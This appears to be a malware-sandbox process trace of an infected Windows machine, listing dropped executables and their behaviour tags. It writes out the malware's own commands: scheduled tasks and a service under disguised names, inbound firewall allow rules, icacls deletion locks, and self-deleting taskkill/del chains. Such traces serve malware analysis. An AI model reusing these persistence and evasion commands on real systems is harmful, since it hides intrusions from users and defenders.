        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\nva3lj2d.jnu\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\nva3lj2d.jnu\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1632126445 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        12⤵
        
        PID:9188
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\f222h1n5.1ik\anyname.exe & exit
        10⤵
        
        PID:8548
        
        C:\Users\Admin\AppData\Local\Temp\f222h1n5.1ik\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\f222h1n5.1ik\anyname.exe
        11⤵
        
        PID:8928
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\j5zu3llk.5pb\gcleaner.exe /mixfive & exit
        10⤵
        
        PID:8804
        
        C:\Users\Admin\AppData\Local\Temp\j5zu3llk.5pb\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\j5zu3llk.5pb\gcleaner.exe /mixfive
        11⤵
        
        PID:9084
- C:\Users\Admin\AppData\Local\Temp\B094.exe
  C:\Users\Admin\AppData\Local\Temp\B094.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:10208
- - C:\Users\Admin\AppData\Local\Temp\B094.exe
    C:\Users\Admin\AppData\Local\Temp\B094.exe
    3⤵
    - Checks SCSI registry key(s)
    - Suspicious behavior: MapViewOfSection
    PID:6296
- C:\Users\Admin\AppData\Local\Temp\B24B.exe
  C:\Users\Admin\AppData\Local\Temp\B24B.exe
  2⤵
  PID:9648
- C:\Users\Admin\AppData\Local\Temp\B9ED.exe
  C:\Users\Admin\AppData\Local\Temp\B9ED.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:9396
- - C:\Users\Admin\AppData\Local\Temp\B9ED.exe
    C:\Users\Admin\AppData\Local\Temp\B9ED.exe
    3⤵
    PID:9804
- C:\Users\Admin\AppData\Local\Temp\D332.exe
  C:\Users\Admin\AppData\Local\Temp\D332.exe
  2⤵
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:9716
- C:\Users\Admin\AppData\Local\Temp\E544.exe
  C:\Users\Admin\AppData\Local\Temp\E544.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:8428
- - C:\Users\Admin\AppData\Local\Temp\E544.exe
    C:\Users\Admin\AppData\Local\Temp\E544.exe
    3⤵
    - Adds Run key to start application
    PID:1040
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\1f7193e1-6654-45b1-938c-e4d558782761" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:9328
  - - C:\Users\Admin\AppData\Local\Temp\E544.exe
      "C:\Users\Admin\AppData\Local\Temp\E544.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Suspicious use of SetThreadContext
      PID:8636
    - - C:\Users\Admin\AppData\Local\Temp\E544.exe
        
        "C:\Users\Admin\AppData\Local\Temp\E544.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Modifies extensions of user files
        
        PID:3280
      - C:\Users\Admin\AppData\Local\1ecad5b7-795c-42b8-a0d4-f57f9aac9d72\build2.exe
        
        "C:\Users\Admin\AppData\Local\1ecad5b7-795c-42b8-a0d4-f57f9aac9d72\build2.exe"
        6⤵
        Suspicious use of SetThreadContext
        
        PID:4372
        
        C:\Users\Admin\AppData\Local\1ecad5b7-795c-42b8-a0d4-f57f9aac9d72\build2.exe
        
        "C:\Users\Admin\AppData\Local\1ecad5b7-795c-42b8-a0d4-f57f9aac9d72\build2.exe"
        7⤵
        Loads dropped DLL
        Checks processor information in registry
        
        PID:8528
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\1ecad5b7-795c-42b8-a0d4-f57f9aac9d72\build2.exe" & del C:\ProgramData\*.dll & exit
        8⤵
        
        PID:7024
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im build2.exe /f
        9⤵
        Kills process with taskkill
        
        PID:5396
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:10176
      - C:\Users\Admin\AppData\Local\1ecad5b7-795c-42b8-a0d4-f57f9aac9d72\build3.exe
        
        "C:\Users\Admin\AppData\Local\1ecad5b7-795c-42b8-a0d4-f57f9aac9d72\build3.exe"
        6⤵
        Suspicious use of SetThreadContext
        
        PID:7352
        
        C:\Users\Admin\AppData\Local\1ecad5b7-795c-42b8-a0d4-f57f9aac9d72\build3.exe
        
        "C:\Users\Admin\AppData\Local\1ecad5b7-795c-42b8-a0d4-f57f9aac9d72\build3.exe"
        7⤵
        
        PID:2284
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        8⤵
        Creates scheduled task(s)
        
        PID:8852
- C:\Users\Admin\AppData\Local\Temp\FD52.exe
  C:\Users\Admin\AppData\Local\Temp\FD52.exe
  2⤵
  PID:6556
- C:\Users\Admin\AppData\Local\Temp\200D.exe
  C:\Users\Admin\AppData\Local\Temp\200D.exe
  2⤵
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:9896
- C:\Users\Admin\AppData\Local\Temp\3A5D.exe
  C:\Users\Admin\AppData\Local\Temp\3A5D.exe
  2⤵
  PID:9752
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rztuyuup\
    3⤵
    PID:7512
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tyumknz.exe" C:\Windows\SysWOW64\rztuyuup\
    3⤵
    PID:9036
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\System32\sc.exe" create rztuyuup binPath= "C:\Windows\SysWOW64\rztuyuup\tyumknz.exe /d\"C:\Users\Admin\AppData\Local\Temp\3A5D.exe\"" type= own start= auto DisplayName= "wifi support"
    3⤵
    PID:6240
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\System32\sc.exe" description rztuyuup "wifi internet conection"
    3⤵
    PID:1068
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\System32\sc.exe" start rztuyuup
    3⤵
    PID:8976
- - C:\Users\Admin\yfdotocq.exe
    "C:\Users\Admin\yfdotocq.exe" /d"C:\Users\Admin\AppData\Local\Temp\3A5D.exe"
    3⤵
    PID:9368
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ysblybgs.exe" C:\Windows\SysWOW64\rztuyuup\
      4⤵
      PID:7708
  - - C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" config rztuyuup binPath= "C:\Windows\SysWOW64\rztuyuup\ysblybgs.exe /d\"C:\Users\Admin\yfdotocq.exe\""
      4⤵
      PID:8812
  - - C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" start rztuyuup
      4⤵
      PID:8452
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
      4⤵
      PID:10160
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8785.bat" "
      4⤵
      PID:9764
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
    3⤵
    PID:9696
- C:\Users\Admin\AppData\Local\Temp\46A2.exe
  C:\Users\Admin\AppData\Local\Temp\46A2.exe
  2⤵
  PID:9932
- C:\Users\Admin\AppData\Local\Temp\5CFA.exe
  C:\Users\Admin\AppData\Local\Temp\5CFA.exe
  2⤵
  PID:8392
- C:\Users\Admin\AppData\Local\Temp\6807.exe
  C:\Users\Admin\AppData\Local\Temp\6807.exe
  2⤵
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:9088
- C:\Users\Admin\AppData\Local\Temp\75B4.exe
  C:\Users\Admin\AppData\Local\Temp\75B4.exe
  2⤵
  PID:6300
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\75B4.exe"
    3⤵
    PID:6612
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /T 10 /NOBREAK
      4⤵
      Delays execution with timeout.exe
      PID:9496
- C:\Users\Admin\AppData\Local\Temp\8E7D.exe
  C:\Users\Admin\AppData\Local\Temp\8E7D.exe
  2⤵
  PID:5448
- C:\Users\Admin\AppData\Local\Temp\9E7C.exe
  C:\Users\Admin\AppData\Local\Temp\9E7C.exe
  2⤵
  - Loads dropped DLL
  PID:9740
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\9E7C.exe"
    3⤵
    PID:9756
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /T 10 /NOBREAK
      4⤵
      Delays execution with timeout.exe
      PID:804
- C:\Users\Admin\AppData\Local\Temp\A776.exe
  C:\Users\Admin\AppData\Local\Temp\A776.exe
  2⤵
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  PID:9752
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.bing.com
    3⤵
    PID:9336
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com
    3⤵
    PID:5384
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.facebook.com
    3⤵
    PID:10064
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.twitter.com
    3⤵
    PID:6040
- - C:\Users\Admin\AppData\Local\Temp\A776.exe
    C:\Users\Admin\AppData\Local\Temp\A776.exe
    3⤵
    PID:7824
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Executes dropped EXE
      PID:6232
- C:\Users\Admin\AppData\Local\Temp\C80E.exe
  C:\Users\Admin\AppData\Local\Temp\C80E.exe
  2⤵
  PID:8920
- C:\Users\Admin\AppData\Local\Temp\D28F.exe
  C:\Users\Admin\AppData\Local\Temp\D28F.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:6956
- - C:\ProgramData\ZZZZZ.exe
    "C:\ProgramData\ZZZZZ.exe"
    3⤵
    PID:9764
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c start C:\Users\Admin\AppData\Local\Temp\DriverMaster.exe
      4⤵
      PID:9996
    - - C:\Users\Admin\AppData\Local\Temp\DriverMaster.exe
        
        C:\Users\Admin\AppData\Local\Temp\DriverMaster.exe
        5⤵
        
        PID:7612
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "EngineDriverMaster" /tr '"C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe"' & exit
        6⤵
        
        PID:9400
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "EngineDriverMaster" /tr '"C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe"'
        7⤵
        Creates scheduled task(s)
        
        PID:9036
      - C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe"
        6⤵
        
        PID:4612
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "EngineDriverMaster" /tr '"C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe"' & exit
        7⤵
        
        PID:8356
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "EngineDriverMaster" /tr '"C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe"'
        8⤵
        Creates scheduled task(s)
        
        PID:7232
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
        7⤵
        
        PID:9044
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c start C:\Users\Admin\AppData\Roaming\DriverRealtekHDmaster.exe
      4⤵
      PID:9116
    - - C:\Users\Admin\AppData\Roaming\DriverRealtekHDmaster.exe
        
        C:\Users\Admin\AppData\Roaming\DriverRealtekHDmaster.exe
        5⤵
        Modifies WinLogon for persistence
        Adds Run key to start application
        Drops file in System32 directory
        Drops file in Program Files directory
        
        PID:8376
      - C:\Users\Admin\AppData\Roaming\DriverRealtekHDmaster.exe
        
        "C:\Users\Admin\AppData\Roaming\DriverRealtekHDmaster.exe"
        6⤵
        Modifies WinLogon for persistence
        Adds Run key to start application
        Drops file in Windows directory
        
        PID:1656
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ivdO3sdkSg.bat"
        7⤵
        
        PID:6572
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        8⤵
        
        PID:8872
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        8⤵
        
        PID:6576
        
        C:\Boot\bg-BG\csrss.exe
        
        "C:\Boot\bg-BG\csrss.exe"
        8⤵
        
        PID:1344
- - C:\Users\Admin\AppData\Local\Temp\D28F.exe
    "C:\Users\Admin\AppData\Local\Temp\D28F.exe"
    3⤵
    PID:9760

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2692

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2680
- C:\Windows\system32\wbem\WMIADAP.EXE
  wmiadap.exe /F /T /R
  2⤵
  PID:6020

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2436

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2408

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1860

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1384

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1372

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1240

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1112

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:1048
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  PID:9932
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:4456
  - - C:\Windows\SysWOW64\schtasks.exe
      /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
      4⤵
      Creates scheduled task(s)
      PID:9012
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:7864
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:7636
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:7012
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:9736
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:3872
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:3684
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:9024
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:6496
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:5832
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:6132
- C:\Users\Admin\AppData\Roaming\tghcfsw
  C:\Users\Admin\AppData\Roaming\tghcfsw
  2⤵
  - Suspicious use of SetThreadContext
  PID:3300
- - C:\Users\Admin\AppData\Roaming\tghcfsw
    C:\Users\Admin\AppData\Roaming\tghcfsw
    3⤵
    - Checks SCSI registry key(s)
    - Suspicious behavior: MapViewOfSection
    PID:6956
- C:\Users\Admin\AppData\Roaming\wihcfsw
  C:\Users\Admin\AppData\Roaming\wihcfsw
  2⤵
  PID:7876
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:8828
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:1808
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:1880
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:5056
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:9688
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:9768
- C:\Users\Admin\AppData\Local\1f7193e1-6654-45b1-938c-e4d558782761\E544.exe
  C:\Users\Admin\AppData\Local\1f7193e1-6654-45b1-938c-e4d558782761\E544.exe --Task
  2⤵
  - Suspicious use of SetThreadContext
  PID:4728
- - C:\Users\Admin\AppData\Local\1f7193e1-6654-45b1-938c-e4d558782761\E544.exe
    C:\Users\Admin\AppData\Local\1f7193e1-6654-45b1-938c-e4d558782761\E544.exe --Task
    3⤵
    PID:8304
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:9628
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:8884
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:9056
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:8640
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:8420
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:5736
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:7456
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:7020
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  - Suspicious use of SetThreadContext
  PID:8336
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:9384
- C:\Users\Admin\AppData\Local\1f7193e1-6654-45b1-938c-e4d558782761\E544.exe
  C:\Users\Admin\AppData\Local\1f7193e1-6654-45b1-938c-e4d558782761\E544.exe --Task
  2⤵
  - Suspicious use of SetThreadContext
  PID:9536
- - C:\Users\Admin\AppData\Local\1f7193e1-6654-45b1-938c-e4d558782761\E544.exe
    C:\Users\Admin\AppData\Local\1f7193e1-6654-45b1-938c-e4d558782761\E544.exe --Task
    3⤵
    PID:5480

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:68

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:1960
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:1400

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
PID:3956

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4836
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:5436

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5964

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:8320

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:8372

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
PID:7692
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D10A42B5942484CD4DC48611716E36FC C
  2⤵
  - Loads dropped DLL
  PID:2260
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 727E2D2178FDBDD13CFD9C2E50D8AD13
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  PID:8560
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:9348
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 32130A639352AE88114C70E5DFD36E13 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  PID:9344

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
PID:6784

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9028

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:8692

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:9708
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:9728

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:9236

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "AdobeARM" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM\AdobeARM.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:8768

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OneDriveStandaloneUpdater" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Resources\OneDriveStandaloneUpdater.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:7224

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:9496

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WerFault" /sc ONLOGON /tr "'C:\Windows\System32\httpapi\WerFault.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:7740

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:7152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Windows\System32\KBDCZ\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5908

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Boot\bg-BG\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:8472

C:\Windows\system32\schtasks.exe
